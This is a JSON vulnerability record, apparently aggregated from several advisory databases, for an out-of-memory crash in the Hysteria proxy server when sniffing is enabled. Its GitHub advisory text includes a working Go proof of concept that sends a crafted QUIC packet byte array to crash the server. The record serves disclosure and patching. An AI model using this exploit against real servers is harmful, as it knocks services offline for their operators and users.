{"id":"CVE-2026-134457","aliases":["CVE-2026-134457","GHSA-9fw6-xgg2-mq9q","GO-2026-5288"],"related":[],"kind":"vulnerability","state":"published","title":"Hysteria 2.5.0 before 2.8.2 QUIC Packet OOM via Sniff Crypto Length","summary":"Hysteria 2.5.0 before 2.8.2 contains a memory allocation vulnerability when sniffing is enabled, allowing authenticated users to trigger out-of-memory conditions. Attackers with a valid password can forward a crafted QUIC packet with a huge crypto length, causing the server to exhaust memory and crash.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Hysteria 2.5.0 before 2.8.2 contains a memory allocation vulnerability when sniffing is enabled, allowing authenticated users to trigger out-of-memory conditions. Attackers with a valid password can forward a crafted QUIC packet with a huge crypto length, causing the server to exhaust memory and crash.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nA specially constructed quic package can crash the server OOM when the sniff is enabled.\n\n### Details\n\nWhen the server has sniff enabled, a valid connection can request the server to forward UDP traffic and construct a huge crypto length. The server will allocate memory according to this length, causing an OOM.\n\n\n### PoC\n```\nopenssl req -x509 -newkey rsa:2048 -nodes -keyout localhost.key -out localhost.crt -days 365 -subj \"/CN=localhost\" 2>/dev/null\n```\n\nserver.yaml\n```\nlisten: :8443\ntls:\n  cert: localhost.crt\n  key: localhost.key\nauth:\n  type: password\n  password: mypassword\nsniff:\n  enable: true\noutbounds:\n  - name: my_direct\n    type: direct\n    default: true\n```\n\npoc.go\n\n```\npackage main\n\nimport (\n\t\"flag\"\n\t\"fmt\"\n\t\"log\"\n\t\"net\"\n\t\"time\"\n\n\t\"github.com/apernet/hysteria/core/v2/client\"\n)\n\nfunc main() {\n\tserverAddrStr := flag.String(\"server\", \"127.0.0.1:8443\", \"Hysteria server address\")\n\tpassword := flag.String(\"password\", \"mypassword\", \"Hysteria server password\")\n\tflag.Parse()\n\n\tserverAddr, _ := net.ResolveUDPAddr(\"udp\", *serverAddrStr)\n\tc, _, err := client.NewClient(&client.Config{\n\t\tServerAddr: serverAddr, Auth: *password, TLSConfig: client.TLSConfig{InsecureSkipVerify: true},\n\t})\n\tif err != nil {\n\t\tlog.Fatalf(\"Failed to connect: %v\", err)\n\t}\n\tdefer c.Close()\n                                                                                                                \n\tvar maliciousQUICPacket = []byte{                                                                                                                                                                         \n\t\t0xcb, 0x0, 0x0, 0x0, 0x1, 0x8, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x0, 0x0,                                                                                                              \n\t\t0x32, 0x1d, 0xa8, 0xd6, 0x3c, 0x51, 0x24, 0xb7, 0xbe, 0xf2, 0x91, 0x77, 0x1c, 0x9d, 0x66,                                                                                                             \n\t\t0xfc, 0xab, 0x91, 0x1e, 0xaf, 0xf9, 0x14, 0xd5, 0xec, 0xb0, 0x74, 0x46, 0x4f, 0x4, 0x70,                                                                                                              \n\t\t0x18, 0x35, 0x31, 0xc5, 0xea, 0x36, 0x40, 0x36, 0x65, 0xdf, 0xa4, 0xcc, 0xf9, 0xff, 0x65,                                                                                                             \n\t\t0xe5, 0x1d, 0xb7, 0xc5, 0xc2, 0xc2,                                                                                                                                                                   \n\t} \n\n\tudpConn, err := c.UDP()\n\tif err != nil {\n\t\tfmt.Printf(\"[-] UDP error: %v\\n\", err)\n\t}\n\ttargetAddr := fmt.Sprintf(\"8.8.8.8:443\")\n\tfmt.Printf(\"[*] Sending 'death' packet to %s...\\n\", targetAddr)\n\t_ = udpConn.Send(maliciousQUICPacket, targetAddr)\n\n\t// Wait longer to ensure packet delivery\n\ttime.Sleep(3 * time.Second)\n\tfmt.Printf(\"[+] Done.\\n\")\n}\n```\n\n\n### Impact\nWhen sniffing is enabled on the server, a user with a valid password can launch an attack that could cause the server to run out of memory (OOM).","format":"markdown","source":"ghsa"},{"lang":"en","text":"Hysteria: A specially constructed quic package can crash the server OOM when the sniff is enabled in github.com/apernet/hysteria/core","format":"markdown","source":"go"}],"published":"2026-05-05T21:14:22.000Z","modified":"2026-11-23T21:17:00.547Z","severity":{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","score":7.1,"rating":"HIGH"},"severities":[{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","score":7.1,"rating":"HIGH"},{"scorer":"VulnCheck","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","score":6.5,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"}],"cwes":["CWE-770","CWE-789"],"affected":[{"ranges":[{"type":"semver","introduced":"2.5.0","fixed":"2.8.2","status":"affected"},{"type":"semver","version":"2.8.2","status":"unaffected"}],"vendor":"HyNetworks","product":"hysteria","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","lastAffected":"2.8.1"}],"ecosystem":"Go","package":"github.com/apernet/hysteria/core/v2","purl":"pkg:golang/github.com/apernet/hysteria/core/v2","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"github.com/apernet/hysteria/core","purl":"pkg:golang/github.com/apernet/hysteria/core","source":"go"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"github.com/apernet/hysteria/core/v2","purl":"pkg:golang/github.com/apernet/hysteria/core/v2","source":"go"}],"references":[{"url":"https://github.com/HyNetworks/hysteria/security/advisories/GHSA-9fw6-xgg2-mq9q","tags":["exploit","vendor-advisory"],"sources":["cvelist","nvd"]},{"url":"https://www.vulncheck.com/advisories/hysteria-2.5.0-before-2.8.2-quic-packet-oom-via-sniff-crypto-length","tags":["third-party-advisory"],"sources":["cvelist","nvd"]},{"url":"https://github.com/apernet/hysteria/security/advisories/GHSA-9fw6-xgg2-mq9q","tags":["advisory","web"],"sources":["ghsa","go"]},{"url":"https://github.com/apernet/hysteria","tags":["package"],"sources":["ghsa"]}],"credits":["Cherrling"],"assigner":"VulnCheck","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-11-23T20:19:22.219Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-134457","url":"https://www.cve.org/CVERecord?id=CVE-2026-134457","licence":"CVE Terms of Use","modified":"2026-11-23T20:19:29.199Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-9fw6-xgg2-mq9q","url":"https://github.com/advisories/GHSA-9fw6-xgg2-mq9q","licence":"CC-BY-4.0","modified":"2026-11-21T18:10:42.409Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-5288","url":"https://pkg.go.dev/vuln/GO-2026-5288","licence":"CC-BY-4.0","modified":"2026-11-21T18:10:42.409Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-134457","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-134457","licence":"Public domain","modified":"2026-11-23T21:17:00.547Z"}],"updatedAt":"2026-11-25T22:59:52.566Z","epss":{"score":0.00543,"percentile":0.47038,"date":"2026-12-01T12:00:22.000Z"}}